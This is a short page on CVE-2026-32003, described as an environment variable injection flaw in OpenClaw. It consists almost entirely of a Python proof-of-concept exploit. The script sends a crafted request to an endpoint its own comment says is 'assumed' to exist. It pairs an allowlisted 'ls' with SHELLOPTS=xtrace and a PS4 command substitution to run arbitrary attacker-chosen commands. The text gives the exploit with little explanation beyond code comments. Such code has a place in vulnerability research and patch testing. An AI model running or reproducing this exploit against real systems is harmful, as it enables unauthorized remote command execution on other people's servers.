CVE-2026-32003 OpenClaw环境变量注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-32003: OpenClaw Environment Variable Injection import requests import sys def exploit(target_url, command): """ Exploit the environment variable injection to execute arbitrary commands. """ # The vulnerable endpoint is assumed to be /api/system/run endpoint = f"{target_url.rstrip('/')}/api/system/run" # Construct malicious environment variables # SHELLOPTS=xtrace: Enables bash debugging mode # PS4: The prompt used for xtrace, we inject a command substitution here payload = { "command": "ls", # Assuming 'ls' is in the allowlist "env": { "SHELLOPTS": "xtrace", "PS4": f"$({command})" # The malicious payload to be executed } } try: print(f"[*] Sending payload to {endpoint}...") # Sending the crafted request response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://localhost:8080 'touch /tmp/pwned'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)